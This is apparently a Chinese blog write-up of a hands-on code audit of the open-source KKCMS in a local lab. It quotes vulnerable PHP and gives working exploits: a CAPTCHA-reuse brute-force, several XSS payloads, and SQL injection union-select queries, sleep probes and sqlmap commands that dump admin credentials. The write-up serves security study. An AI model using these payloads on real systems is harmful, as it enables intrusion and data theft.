记一次较为详细的某CMS代码审计

前言

本次审计的话是Seay+昆仑镜进行漏洞扫描 

Seay的话它可以很方便的查看各个文件,而昆仑镜可以很快且扫出更多的漏洞点,将这两者进行结合起来,就可以发挥更好的效果。

昆仑镜官方地址

https://github.com/LoRexxar/Kunlun-M

环境

KKCMS环境搭建

KKCMS链接如下

https://github.com/liumengxiang/kkcms

安装的话正常步骤就好,即

1、解压至phpstudy目录下
2、访问install
3、新建kkcms数据库,然后在安装的时候用这个数据库
4、安装完成,开始审计

目录结构

图片

常见的目录结构,简单了解一下其作用

admin 后台管理目录
css CSS样式表目录
data 系统处理数据相关目录
install 网页安装目录
images 系统图片存放目录
template 模板
system  管理目录

代码审计

图片

对扫描出的开始进行审计

验证码重用

admin/cms_login.php

源码如下

<?php
require_once('../system/inc.php');
if(isset($_POST['submit'])){
    if ($_SESSION['verifycode'] != $_POST['verifycode']) {
        alert_href('验证码错误','cms_login.php');
    }
    null_back($_POST['a_name'],'请输入用户名');
    null_back($_POST['a_password'],'请输入密码');
    null_back($_POST['verifycode'],'请输入验证码');
    $a_name = $_POST['a_name'];
    $a_password = $_POST['a_password'];
    $sql = 'select * from xtcms_manager where m_name = "'.$a_name.'" and m_password = "'.md5($a_password).'"';
    $result = mysql_query($sql);
    if(!! $row = mysql_fetch_array($result)){
        setcookie('admin_name',$row['m_name']);
        setcookie('admin_password',$row['m_password']);
        header('location:cms_welcome.php');
    }else{
        alert_href('用户名或密码错误','cms_login.php');
    }
}
?>

验证码的校验代码

  if ($_SESSION['verifycode'] != $_POST['verifycode']) {
        alert_href('验证码错误','cms_login.php');
    }

不难发现这里是将$_SESSION['verifycode']与POST上传的verifycode相比较,如果不相等就会刷新跳转,重新回到登录处,此时验证码也会被更新。我们进入前端界面看一下

图片

发现验证码js对应处存在文件,跟进查看一下

<?php
session_start();
$image = imagecreate(50, 34);
$bcolor = imagecolorallocate($image, 0, 0, 0);
$fcolor = imagecolorallocate($image, 255, 255, 255);
$str = '0123456789';
$rand_str = '';
for ($i = 0; $i < 4; $i++){
 $k = mt_rand(1, strlen($str));
 $rand_str .= $str[$k - 1];
}
$_SESSION['verifycode'] = $rand_str;
imagefill($image, 0, 0, $bcolor);
imagestring($image, 7, 7, 10, $rand_str, $fcolor);
header('content-type:image/png');
imagepng($image);
?>

该文件的含义是用0-9中的任意四个数字作为验证码,也就是说js引用该文件来产生验证码。这里学习过其他师傅的思路后,了解到

Burpsuite默认不解析js

因此我们这里就可以借助bp抓包,摒弃js,对用户名和密码进行爆破 

抓包后发送到instruct模块,在密码处添加变量

图片

而后添加一些常用的弱口令密码

图片

开始爆破

图片

成功爆破出密码

XSS

wap/shang.php

使用昆仑镜进行扫描,得到结果

图片

结合Seay,查看该文件代码

图片

可以看到直接输出了$_GET['fee'],因此我们这里直接传入一个xss语句尝试触发xss payload

fee=<script>alert(1)</script>

图片

wap/seacher.php

昆仑镜扫描

图片

利用seay查看源码

//这只是一部分,具体的师傅们可自行查看此文件
<?php include('../system/inc.php');
include('../data/cxini.php');
$link=$zwcx['zhanwai'];
$q=$_POST['wd'];

<!DOCTYPE html>
<html>
<head lang="en">
<?php  include 'head.php';?>
<title>搜索<?php echo $q?>-<?php echo $xtcms_seoname;?></title>
<meta name="keywords" content="<?php echo $q?>,<?php echo $xtcms_keywords;?>">
<meta name="description" content="<?php echo $xtcms_description;?>">

可以发现这里这个变量$q直接被输出了,这个$qPOST上传的wd参数,因此我们这里POST上传wd参数,给它赋值一个xss语句的话,应该是可以进行XSS的,我们试着去构造一下

wp=<script>alert(1)</script>

图片

成功触发XSS

wap/movie.php

//部分源码
<?php include('../system/inc.php');
include '../system/list.php';
$page=$_GET['page'];?>
<!DOCTYPE html>
<html>
$b=(strpos($_GET['m'],'rank='));
$ye=substr($_GET['m'],$b+5);
?>
<a <?php if ($ye=="rankhot"){echo 'class="on"';}elseif($ye=="createtime" or $ye=="rankpoint"){}else{ echo 'class="on"';};?> href="?m=/dianying/list.php?rank=rankhot">最近热映</a> 
<a  <?php if ($ye=="createtime"){echo 'class="on"';}else{};?> href="?m=/dianying/list.php?rank=createtime">最新上映</a>        
<a  <?php if ($ye=="rankpoint"){echo 'class="on"';}else{};?> href="?m=/dianying/list.php?rank=rankpoint">最受好评</a>
</div>
<?php echo getPageHtml($page,$fenye,'movie.php?m='.$yourneed.'&page=');?>
</ul>
</div>
</div>
</section>
<?php  include 'footer.php';?>

存在可控参数$_GET['m']$_GET['page'],开头引用了inc.php,试着找一下输出语句。发现输出语句

<?php echo getPageHtml($page,$fenye,'movie.php?m='.$yourneed.'&page=');?>

发现被函数getPageHtml包裹了,跟进查看

function getPageHtml($_var_60, $_var_61, $_var_62)
{
 $_var_63 = 5;
 $_var_60 = $_var_60 < 1 ? 1 : $_var_60;
 $_var_60 = $_var_60 > $_var_61 ? $_var_61 : $_var_60;
 $_var_61 = $_var_61 < $_var_60 ? $_var_60 : $_var_61;
 $_var_64 = $_var_60 - floor($_var_63 / 2);
 $_var_64 = $_var_64 < 1 ? 1 : $_var_64;
 $_var_65 = $_var_60 + floor($_var_63 / 2);
 $_var_65 = $_var_65 > $_var_61 ? $_var_61 : $_var_65;
 $_var_66 = $_var_65 - $_var_64 + 1;
 if ($_var_66 < $_var_63 && $_var_64 > 1) {
  $_var_64 = $_var_64 - ($_var_63 - $_var_66);
  $_var_64 = $_var_64 < 1 ? 1 : $_var_64;
  $_var_66 = $_var_65 - $_var_64 + 1;
 }
 if ($_var_66 < $_var_63 && $_var_65 < $_var_61) {
  $_var_65 = $_var_65 + ($_var_63 - $_var_66);
  $_var_65 = $_var_65 > $_var_61 ? $_var_61 : $_var_65;
 }
 if ($_var_60 > 1) {
  $_var_67 .= '<li><a  title="上一页" href="' . $_var_62 . ($_var_60 - 1) . '"">上一页</a></li>';
 }
 for ($_var_68 = $_var_64; $_var_68 <= $_var_65; $_var_68++) {
  if ($_var_68 == $_var_60) {
   $_var_67 .= '<li><a style="background:#FF9900;"><font color="#fff">' . $_var_68 . '</font></a></li>';
  } else {
   $_var_67 .= '<li><a href="' . $_var_62 . $_var_68 . '">' . $_var_68 . '</a></li>';
  }
 }
 if ($_var_60 < $_var_65) {
  $_var_67 .= '<li><a  title="下一页" href="' . $_var_62 . ($_var_60 + 1) . '"">下一页</a></li>';
 }
 return $_var_67;
}

跟进查看后也没有发现输出点,结果网页端js代码再看看 传参

http://127.0.0.1:8080/kkcms-kkcms/wap/movie.php?m=111

查看源代码,Ctrl+f?m=111查找对应js代码

图片

找到js代码

<li><a href="movie.php?m=111&page=4">4</a></li><li><a href="movie.php?m=111&page=5">5</a></li><li><a  title="下一页" href="movie.php?m=111&page=2"">下一页</a></li></ul>

尝试直接闭合a标签执行xss语句,构造payload如下

?m="><script>alert(111)</script>

图片

成功触发xss 

同类XSS文件如下

wap/tv.php
其对应输出代码如下
<?php echo getPageHtml($page,$fenye,'tv.php?m='.$yourneed.'&page=');?>

wap/zongyi.php
其对应输出代码如下
<?php echo getPageHtml($page,$fenye,'zongyi.php?m='.$yourneed.'&page=');?>

wap/dongman.php
其对应输出代码如下
<?php echo getPageHtml($page,$fenye,'dongman.php?m='.$yourneed.'&page=');?>

system/pcon.php(失败)

图片

发现这里有个echo 变量的,利用Seay跟进一下这个文件

<?php
if ($xtcms_pc==1){
?>

<script>
function uaredirect(f){try{if(document.getElementById("bdmark")!=null){return}var b=false;if(arguments[1]){var e=window.location.host;var a=window.location.href;if(isSubdomain(arguments[1],e)==1){f=f+"/#m/"+a;b=true}else{if(isSubdomain(arguments[1],e)==2){f=f+"/#m/"+a;b=true}else{f=a;b=false}}}else{b=true}if(b){var c=window.location.hash;if(!c.match("fromapp")){if((navigator.userAgent.match(/(iPhone|iPod|Android|ios)/i))){location.replace(f)}}}}catch(d){}}function isSubdomain(c,d){this.getdomain=function(f){var e=f.indexOf("://");if(e>0){var h=f.substr(e+3)}else{var h=f}var g=/^www\./;if(g.test(h)){h=h.substr(4)}return h};if(c==d){return 1}else{var c=this.getdomain(c);var b=this.getdomain(d);if(c==b){return 1}else{c=c.replace(".","\\.");var a=new RegExp("\\."+c+"$");if(b.match(a)){return 2}else{return 0}}}};
</script>
<?php
if ($_GET['play']!=""){
$cc="play.php?play=";
$dd="bplay.php?play=";
$yugao=explode('.html',$_GET['play']);
for($k=0;$k<count($yugao);$k++){
if ($k>0){
$tiaourl=$cc.$_GET['play'];
  }
else{
$tiaourl=$dd.$_GET['play']; 
  }
}
}
?>
<script type="text/javascript">uaredirect("<?php echo $xtcms_domain;?>wap/<?php echo $tiaourl;?>");</script>
<?php  } ?>

此时发现可控变量play,如果让他变为xss恶意语句,就可能会实现xss,但我们这个时候看一下最上面,发现有一个if语句

if ($xtcms_pc==1){

它这个条件为true后执行的语句,不仔细看的话甚至都找不到结尾处在哪,经过仔细查看后发现在最后

图片

这里的话也就是说,我们只有满足了$xtcms_pc==1这个条件,才能够成功的往下执行,进而利用play参数构造xss语句,因此我们此时就需要跟进这个$xtcms_pc变量,全局搜索一下

图片

发现变量赋值点,跟进查看

图片

简单看一下这里的代码,发现这个结果是从SQL查询处的结果取出的,而SQL语句不存在变量,因此这里的话我们是不可控的,所以这里的话应该是不存在XSS的,G

admin/cms_ad.php

登录后台后发现有个广告管理界面

图片

发现这里可以设置名称和广告内容,尝试在名称处插入xss语句

图片

发现此时成功触发了xss语句,那么这里的话应该是直接将广告名称进行了输出,我们查看后端代码,验证一下

<?php
include('../system/inc.php');
include('cms_check.php');
error_reporting(0);
include('model/ad.php');
?>
<?php include('inc_header.php') ?>
<div class="tab-pane1">
<div class="row">
<div class="col-sm-12">
<div class="form-group has-feedback">
<label for="name-w1">名称</label>
<input id="l_name" class="form-control" name="title" type="text" size="60" data-validate="required:请填写广告名称" value="" />
<span class="help-block">请输入广告名称</span>
</div>
</div>
</div>
<div class="row">
<div class="col-sm-12">
<div class="form-group">
<label for="ccnumber-w1">内容</label>
<textarea id="l_picture" class="form-control" name="pic" /></textarea>
<span class="help-block">请输入广告的内容&lt;a href="网址" target="_blank"&gt;&lt;img src="图片地址" style="width:100%"&gt;&lt;/a&gt;</span>
</div>
</div>
</div>
<div class="row">
<div class="form-group col-sm-12">
<label for="ccmonth-w1">广告位置</label>
<select id="catid" class="form-control" name="catid">
<?php
$result = mysql_query('select * from xtcms_adclass');
while($row1 = mysql_fetch_array($result)){
?>
<option value="<?php echo $row1['id']?>"><?php echo $row1['name']?></option>
<?php
}
?>

后端名称处代码为

<input id="l_name" class="form-control" name="title" type="text" size="60" data-validate="required:请填写广告名称" value="" />

可以发现这里只是限制了长度为60,其他没有什么限制,输出广告内容的代码是

$result = mysql_query('select * from xtcms_ad order by id desc');
while($row = mysql_fetch_array($result)){
?><tr>
<td><?php echo $row['id']?></td>
<td><?php echo $row['title']?></td>

这里的话是取出结果,然后将结果赋值给$row,最后输出了$row['id']$row['name'],正如同所说的一样,不存在过滤点,因而导致了XSS的出现 

而你此时大概看一下代码的话,它的内容也是如此,内容是在加载页面的时候出现的,这个时候我们可以用img来构造一个xss恶意语句

图片

此时随便访问首页的一个视频

图片

成功触发XSS

youlian.php

<?php 
include('system/inc.php');
if(isset($_POST['submit'])){
null_back('admin','.');
 null_back($_POST['content'],'你的链接及网站名');
 $data['userid'] = $_POST['userid'];
 $data['content'] =addslashes($_POST['content']);
 $data['time'] =date('y-m-d h:i:s',time());
 
 $str = arrtoinsert($data);
  $sql = 'insert into xtcms_youlian ('.$str[0].') values ('.$str[1].')';

设置了addslashes函数防止SQL注入,但并未防止XSS,我们构造payload如下

<a href=Javascript:alert(1)>xss</a>

图片

后端查看就会发现

图片

XSS被触发

admin/cms_kamilist.php

//部分源码
<?php
include('../system/inc.php');
include('cms_check.php');
error_reporting(0);

?>
<?php include('inc_header.php') ?>
<select class="form-control" onchange="location.href='cms_kamilist.php?c_used='+this.options[this.selectedIndex].value;">
<option value="">使用情况</option>
<option value="1" >已使用</option> <option value="0">未使用</option>      </select>
<input id="c_pass" class="form-control" type="text" name="c_number" placeholder="卡密"/>
<input id="id" class="input" type="hidden" name="id" value="<?php echo $_GET["id"] ?>"/>
<input type="submit" id="search" class="btn btn-info" name="search" value="查找" />
<a class="btn btn-info" href="cms_dao.php<?php if (isset($_GET['id'])) { echo '?cpass='.$_GET["id"];}?>"><span class="icon-plus-square">导出</span></a>
</div>

关注

 value="<?php echo $_GET["id"] ?>"

发现这里参数id没有什么防护,虽然开头涉及了inc.php,但那个是防护SQL注入的,不影响xss。我们这里如果能够闭合语句的话,似乎就可以触发XSS了。payload

id="><script>alert(1)</script>
//此时的语句就是 value="<?php echo "><script>alert(1)</script> ?>"

结果如下

图片

wx_api.php

class wechatCallbackapiTest
{
 public function valid()
    {
        $echoStr = $_GET["echostr"];
        if($this->checkSignature()){
         echo $echoStr;
         exit;
        }
    }

可以发现这里的参$_GET['echostr']不存在防护,在传入后经过一个if语句直接进行了输出,我们跟进一下这个if语句了的checkSignature函数查看一下

 private function checkSignature()
 {
        // you must define TOKEN by yourself
        if (!defined("TOKEN")) {
            throw new Exception('TOKEN is not defined!');
        }
        
        $signature = $_GET["signature"];
        $timestamp = $_GET["timestamp"];
        $nonce = $_GET["nonce"];
          
  $token = TOKEN;
  $tmpArr = array($token, $timestamp, $nonce);
        // use SORT_STRING rule
  sort($tmpArr, SORT_STRING);
  $tmpStr = implode( $tmpArr );
  $tmpStr = sha1( $tmpStr );
  
  if( $tmpStr == $signature ){
   return true;
  }else{
   return false;
  }
 }

发现这里大概是个检验token的,传个空对应的md5值应该就可以,尝试xss payload

?echostr=<script>alert('别当舔狗')</script>&signature=da39a3ee5e6b4b0d3255bfef95601890afd80709

图片

SQL

bplay.php

<?php 
include('system/inc.php');//载入全局配置文件
error_reporting(0);//关闭错误报告
$result = mysql_query('select * from xtcms_vod where d_id = '.$_GET['play'].' ');
if (!!$row = mysql_fetch_array($result)) {
 $d_id = $row['d_id'];
 $d_name = $row['d_name'];
 $d_jifen = $row['d_jifen'];
 $d_user = $row['d_user'];
 $d_parent = $row['d_parent'];
 $d_picture = $row['d_picture'];
 $d_content = $row['d_content'];
 $d_scontent = $row['d_scontent'];
 $d_seoname = $row['d_seoname'];
 $d_keywords = $row['d_keywords'];
 $d_description = $row['d_description'];
 $d_player = $row['d_player'];
 $d_title = ($d_seoname == '') ? $d_name .' - '.$xtcms_name : $d_seoname.' - '.$d_name.' - '.$xtcms_name ;
} else {
 die ('您访问的详情不存在');
}
$result1 = mysql_query('select * from xtcms_vod_class where c_id='.$d_parent.' order by c_id asc');
while ($row1 = mysql_fetch_array($result1)){
$c_hide=$row1['c_hide'];
}
if($c_hide>0){
if(!isset($_SESSION['user_name'])){
  alert_href('请注册会员登录后观看',''.$xtcms_domain.'ucenter');
 };
    $result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');//查询会员积分
     if($row = mysql_fetch_array($result)){
  $u_group=$row['u_group'];//到期时间
     }
 if($u_group<=1){//如果会员组
 alert_href('对不起,您不能观看会员视频,请升级会员!',''.$xtcms_domain.'ucenter/mingxi.php');
 } 
}
include('system/shoufei.php');
if($d_jifen>0){//积分大于0,普通会员收费
 if(!isset($_SESSION['user_name'])){
  alert_href('请注册会员登录后观看',''.$xtcms_domain.'ucenter');
 };
    $result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');//查询会员积分
     if($row = mysql_fetch_array($result)){
     $u_points=$row['u_points'];//会员积分
     $u_plays=$row['u_plays'];//会员观看记录
     $u_end=$row['u_end'];//到期时间
  $u_group=$row['u_group'];//到期时间
     } 

      if($u_group<=1){//如果会员组
     if($d_jifen>$u_points){
  alert_href('对不起,您的积分不够,无法观看收费数据,请推荐本站给您的好友、赚取更多积分',''.$xtcms_domain.'ucenter/yaoqing.php');
    }  else{

    if (strpos(",".$u_plays,$d_id) > 0){ 

 } 
 //有观看记录不扣点
else{

   $uplays = ",".$u_plays.$d_id;
   $uplays = str_replace(",,",",",$uplays);
   $_data['u_points'] =$u_points-$d_jifen;
   $_data['u_plays'] =$uplays;
   $sql = 'update xtcms_user set '.arrtoupdate($_data).' where u_name="'.$_SESSION['user_name'].'"';
if (mysql_query($sql)) {

alert_href('您成功支付'.$d_jifen.'积分,请重新打开视频观看!',''.$xtcms_domain.'bplay.php?play='.$d_id.'');
}
}
 
}
}
}
if($d_user>0){ 
if(!isset($_SESSION['user_name'])){
  alert_href('请注册会员登录后观看',''.$xtcms_domain.'ucenter');
 };
    $result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');//查询会员积分
     if($row = mysql_fetch_array($result)){
     $u_points=$row['u_points'];//会员积分
     $u_plays=$row['u_plays'];//会员观看记录
     $u_end=$row['u_end'];//到期时间
  $u_group=$row['u_group'];//到期时间
     }   
if($u_group<$d_user){
 alert_href('您的会员组不支持观看此视频!',''.$xtcms_domain.'ucenter/mingxi.php');
}
}
function get_play($t0){
 $result = mysql_query('select * from xtcms_player where id ='.$t0.'');
 if (!!$row = mysql_fetch_array($result)){
return $row['n_url'];
 }else{
  return $t0;
 };
}
$result = mysql_query('select * from xtcms_vod where d_id ='.$d_id.'');
 if (!!$row = mysql_fetch_array($result)){
$d_scontent=explode("\r\n",$row['d_scontent']);
//print_r($d_scontent);
for($i=0;$i<count($d_scontent);$i++)
{ $d_scontent[$i]=explode('$',$d_scontent[$i]);
  }
$playdizhi=get_play($row['d_player']).$d_scontent[0][1];
 }else{
  return '';
 };
 
include('template/'.$xtcms_bdyun.'/bplay.php');
?>

这里的话可以看出主要的SQL语句是这句话

$result = mysql_query('select * from xtcms_vod where d_id = '.$_GET['play'].' ');

然后这个play参数是GET传参的,同时看这里的代码可以看出它是没有单引号或者双引号包裹的,此时我们跟进一下include的文件,也就是system/inc.php,查看一下这个文件

图片

跟进这个library.php

<?php
//展示的只是一部分
if (!defined('PCFINAL')) {
 exit('Request Error!');
}
if (!get_magic_quotes_gpc()) {
 if (!empty($_GET)) {
  $_GET = addslashes_deep($_GET);
 }
 if (!empty($_POST)) {
  $_POST = addslashes_deep($_POST);
 }
 $_COOKIE = addslashes_deep($_COOKIE);
 $_REQUEST = addslashes_deep($_REQUEST);
}

可以发现这里的话对传入的参数都进行了特殊字符转义,防止SQL注入 

但事实上我们那个参数未被单引号或者双引号包裹,这也就意味着这里的防护其实是无意义的,因此我们这里的话我们也就可以尝试去进行SQL注入 

首先我们试着去检测一下字段数,payload如下所示

play=1 order by 17  //回显正常
play=1 order by 18  //回显错误

图片

图片

这里的话也就可以发现字段数为17了,接下来就可以进去联合查询了,首先我们需要去找一下回显位

play=-1 union select 1,2,3,0,0,6,7,8,9,10,11,12,13,14,15,16,17

图片

可以发现回显位是2和9,我们这个时候就可以去读取数据库、数据表这些了,payload如下

//查库
play=-1 union select 1,2,3,0,0,6,7,8,database(),10,11,12,13,14,15,16, 17
//查表
play=-1 union select 1,2,3,0,0,6,7,8,(select group_concat(table_name) from information_schema.tables where table_schema=database()),10,11,12,13,14,15,16, 17
//查列
play=-1 union select 1,2,3,0,0,6,7,8,(select group_concat(column_name) from information_schema.columns where table_name=0x626565735f61646d696e),10,11,12,13,14,15,16, 17//之所以用十六进制是因为这里的单引号会被转义
//查字段
play=-1 union select 1,2,3,0,0,6,7,8,(select group_concat(admin_name,0x7e,admin_password) from bees_admin),10,11,12,13,14,15,16, 17

图片

图片

图片

wap/user.php(失败)

图片

结合Seay

<?php include('../system/inc.php');
error_reporting(0);
$op=$_GET['op'];
if(!isset($_SESSION['user_name'])){
  alert_href('请登陆后进入','login.php?op=login');
 };
 //退出
if ($op == 'out'){ 
unset($_SESSION['user_name']);
unset($_SESSION['user_group']);
if (! empty ( $_COOKIE ['user_name'] ) || ! empty ( $_COOKIE ['user_password'] ))   
    {  
        setcookie ( "user_name", null, time () - 3600 * 24 * 365 );  
        setcookie ( "user_password", null, time () - 3600 * 24 * 365 );  
    }  
header('location:login.php?op=login');
}
//支付
if ( isset($_POST['paysave']) ) {
if ($_POST['pay']==1){

//判定会员组别
$result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');
if($row = mysql_fetch_array($result)){

$u_points=$row['u_points'];
$u_group=$row['u_group'];
$send = $row['u_end'];

//获取会员卡信息
$card= mysql_query('select * from xtcms_userka where id="'.$_POST['cardid'].'"');
if($row2 = mysql_fetch_array($card)){
$day=$row2['day'];//天数
$userid=$row2['userid'];//会员组
$jifen=$row2['jifen'];//积分
}
//判定会员组
if ($row['u_group']>$userid){ 
alert_href('您现在所属会员组的权限制大于等于目标会员组权限值,不需要升级!','mingxi.php');
}

看这一处代码

$card= mysql_query('select * from xtcms_userka where id="'.$_POST['cardid'].'"');

不难发现这里的Select语句中的参数被双引号包裹了,而开头包含了inc.php文件,之前就已经查看过,这个文件包含了四个文件,其中一个文件中有addslashes_deep函数,对传入的参数中的特殊字符(如',",\)进行了转义,因此我们这里的话无法通过闭合双引号达到SQL注入的目的,同文件的其他SQL注入处也是如此,这里不再展示

wap/login.php

图片

扫出login.php中存在多个可控变量,我们使用Seay来看一下具体代码

//展示的仅为一部分
<?php include('../system/inc.php');
$op=$_GET['op'];

if(isset($_POST['submit'])){
 null_back($_POST['u_name'],'请输入用户名');
 null_back($_POST['u_password'],'请输入密码');
 $u_name = $_POST['u_name'];
 $u_password = $_POST['u_password'];
 $sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';
 $result = mysql_query($sql);
 if(!! $row = mysql_fetch_array($result)){
  
 $_data['u_loginnum'] = $row['u_loginnum']+1; 
 $_data['u_loginip'] =$_SERVER["REMOTE_ADDR"]; 
 $_data['u_logintime'] =date('y-m-d h:i:s',time());
 if(!empty($row['u_end'])) $u_end= $row['u_end'];
 if(time()>$u_end){
 $_data['u_flag'] =="0";
 $_data['u_start'] =="";
 $_data['u_end'] =="";
 $_data['u_group'] =1;
 }else{
 $_data['u_flag'] ==$row["u_flag"];
 $_data['u_start'] ==$row["u_start"];
 $_data['u_end'] ==$row["u_end"];
 $_data['u_group'] =$row["u_group"];
 }
 mysql_query('update xtcms_user set '.arrtoupdate($_data).' where u_id ="'.$row['u_id'].'"');
 $_SESSION['user_name']=$row['u_name'];
 $_SESSION['user_group']=$row['u_group'];
 if($_POST['brand1']){ 
setcookie('user_name',$row['u_name'],time()+3600 * 24 * 365); 
setcookie('user_password',$row['u_password'],time()+3600 * 24 * 365); 
} 
  header('location:user.php');
 }else{
  alert_href('用户名或密码错误或者尚未激活','login.php?op=login');
 }
}
if(isset($_POST['reg'])){
$username = stripslashes(trim($_POST['name']));
// 检测用户名是否存在
$query = mysql_query("select u_id from xtcms_user where u_name='$username'");
if(mysql_fetch_array($query)){
echo '<script>alert("用户名已存在,请换个其他的用户名");window.history.go(-1);</script>';
exit;
}
$result = mysql_query('select * from xtcms_user where u_email = "'.$_POST['email'].'"');
if(mysql_fetch_array($result)){
echo '<script>alert("邮箱已存在,请换个其他的邮箱");window.history.go(-1);</script>';
exit;
}
$password = md5(trim($_POST['password']));
$email = trim($_POST['email']);
$regtime = time();
$token = md5($username.$password.$regtime); //创建用于激活识别码
$token_exptime = time()+60*60*24;//过期时间为24小时后
$data['u_name'] = $username;
$data['u_password'] =$password;
$data['u_email'] = $email;
$data['u_regtime'] =$regtime;
if($xtcms_mail==1){
$data['u_status'] =0;
 }else{
$data['u_status'] =1;
 }
$data['u_group'] =1;
$data['u_fav'] =0;
$data['u_plays'] =0;
$data['u_downs'] =0;
//推广注册
if (isset($_GET['tg'])) {
 $data['u_qid'] =$_GET['tg'];
 $result = mysql_query('select * from xtcms_user where u_id="'.$_GET['tg'].'"');
if($row = mysql_fetch_array($result)){

$u_points=$row['u_points'];
}

不难发现这里的SELECT语句有以下几个

$sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';
$query = mysql_query("select u_id from xtcms_user where u_name='$username'");
$result = mysql_query('select * from xtcms_user where u_email = "'.$_POST['email'].'"');
$result = mysql_query('select * from xtcms_user where u_id="'.$_GET['tg'].'"');

但文件开头就声明包含了inc.php文件,说明这里的话包含了过滤函数,也就是对SQL注入是有防护的,对'"以及\都进行了转义,因此这里如果参数是被单引号或者双引号包裹的话,那么这里极有可能算是G了,我们看第一个,也就是

$sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';

它这个不难发现,$u_name$u_password都被双引号包裹了,因此这里就不存在SQL注入了。但是看一下第二个,第二个的username参数虽然是被双引号进行包裹了,但你会发现这个参数的传值方式是$username = stripslashes(trim($_POST['name']));,这个stripslashes的功能是消除由addslashes函数增加的反斜杠,一个增加一个消除,那这里不就跟没有设置过滤一样吗,因此这个name参数是存在SQL注入的,我们通过BurpSuite进行抓包

图片

然后将内容复制到一个txt文件中

图片

我这里保存在sqlmap目录下

图片

而后打开sqlmap,输入如下payload即可

python sqlmap.py "D:/sqlmap/2.txt" --dbs --batch

图片

可以看到存在延时注入,成功爆破出数据库

vlist.php

在这个界面,用单引号测试一下发现跟正常界面有所不同

图片

看一下后端代码

<?php
if ($_GET['cid'] != 0){
 ?>
      
             <?php
$result = mysql_query('select * from xtcms_vod_class where c_pid='.$_GET['cid'].' order by c_sort desc,c_id asc');
while ($row = mysql_fetch_array($result)){

   echo '<a href="./vlist.php?cid='.$row['c_id'].'" class="acat" style="white-space: pre-wrap;margin-bottom: 4px;">'.$row['c_name'].'</a>';
  }
?>

这里简单看一下的话,不难发现这里的参数cid是不存在任何防护的,即没有被单引号或者双引号包裹,因此这里开头引用的inc.php虽然对SQL注入进行了防护,但在这里其实是没有意义的,用SQLmap跑一下

python sqlmap.py -u http://127.0.0.1:8080/kkcms-kkcms/vlist.php?cid=1 --dbs --batch

图片

后端文件

图片

扫出多个后端文件存在SQL注入,接下来逐一进行检测

admin/cms_admin_edit.php

源码如下

//部分代码
<?php
include('../system/inc.php');
include('cms_check.php');
error_reporting(0);
include('model/admin_edit.php');
?>
<?php
$result = mysql_query('select * from xtcms_manager where m_id = '.$_GET['id'].'');
if($row = mysql_fetch_array($result)){
?>

这里的话重点关注肯定是SQL语句,也就是这句话

$result = mysql_query('select * from xtcms_manager where m_id = '.$_GET['id'].'');

发现id是无引号包裹的,这意味着这里是存在SQL注入的,我们去验证一下

id=1 

图片

id=1 and sleep(5)

图片

发现两者回显时间不同,说明存在SQL注入,具体为时间盲注,这里就可以编写Python脚本来爆破数据库信息,也可以通过SQLmap,这里不再展示

admin/cms_login.php

<?php
require_once('../system/inc.php');
if(isset($_POST['submit'])){
    if ($_SESSION['verifycode'] != $_POST['verifycode']) {
        alert_href('验证码错误','cms_login.php');
    }
    null_back($_POST['a_name'],'请输入用户名');
    null_back($_POST['a_password'],'请输入密码');
    null_back($_POST['verifycode'],'请输入验证码');
    $a_name = $_POST['a_name'];
    $a_password = $_POST['a_password'];
    $sql = 'select * from xtcms_manager where m_name = "'.$a_name.'" and m_password = "'.md5($a_password).'"';
    $result = mysql_query($sql);

这里的话就是发现这个可控参数都被双引号包裹了,然后文件开头包含了inc.php,意味着存在对SQL注入的防护,因此这里的话是无法实现SQL注入的,转战下一处。

admin/cms_user_edit.php

//部分代码
<?php
include('../system/inc.php');
include('cms_check.php');
error_reporting(0);
include('model/user_edit.php');
?>
<?php
$result = mysql_query('select * from xtcms_user where u_id = '.$_GET['id'].'');
if($row = mysql_fetch_array($result)){
?>

一眼顶真,无包裹方式,存在SQL注入

id = 16 and sleep(5)

图片

具体不再演示,此类的我将其列在一起,具体如下所示

 admin/cms_nav_edit.php
 其SQL语句如下
 $result = mysql_query('select * from xtcms_nav where id = '.$_GET['id'].'');
 
 admin/cms_detail_edit.php
 其SQL语句如下
 $result = mysql_query('select * from xtcms_vod where d_id = '.$_GET['id'].'');
 
 admin/cms_channel_edit.php
 其SQL语句如下
 $result = mysql_query('select * from xtcms_vod_class where c_id = '.$_GET['id']);
 
 admin/cms_check_edit.php
 其SQL语句如下
 $result = mysql_query('select * from xtcms_book where id = '.$_GET['id'].'');
 
 admin/cms_player_edit.php
 其SQL语句如下
 $result = mysql_query('select * from xtcms_player where id = '.$_GET['id'].'');
 
 admin/cms_slideshow_edit.php
 其SQL语句如下
 $result = mysql_query('select * from xtcms_slideshow where id = '.$_GET['id'].' ');
 
 admin/cms_ad_edit.php
 其SQL语句如下
 $result = mysql_query('select * from xtcms_ad where id = '.$_GET['id'].' ');
 
 admin/cms_link_edit.php
 其SQL语句如下
 $result = mysql_query('select * from xtcms_link where l_id = '.$_GET['l_id'].'');
 
 admin/cms_usercard_edit.php
 其SQL语句如下
 $result = mysql_query('select * from xtcms_userka where id = '.$_GET['id'].'');
 
 admin/cms_youlian_edit.php
 其SQL语句如下
 $result = mysql_query('select * from xtcms_youlian where id = '.$_GET['id'].'');

admin/cms_user.php

<?php
include('../system/inc.php');
include('cms_check.php');
error_reporting(0);
include('model/user.php');
?>
if (isset($_GET['key'])) {
$sql = 'select * from xtcms_user where u_name like "%'.$_GET['key'].'%" order by u_id desc';
$pager = page_handle('page',20,mysql_num_rows(mysql_query($sql)));
$result = mysql_query($sql.' limit '.$pager[0].','.$pager[1].'');
}

这里的话参数是在like处,这里的话经过本地测试及查找资料并未发现此处可以进行SQL注入,通过SQLmap扫描也无果,各位大师傅如果有思路的话还请指点一二

admin/cms_detail.php

if (isset($_GET['cid'])) {
 if ($_GET['cid'] != 0){
  $sql = 'select * from xtcms_vod where d_parent in ('.$_GET['cid'].') order by d_id desc';
  $pager = page_handle('page',20,mysql_num_rows(mysql_query($sql)));
  $result = mysql_query($sql.' limit '.$pager[0].','.$pager[1].'');
 }else{
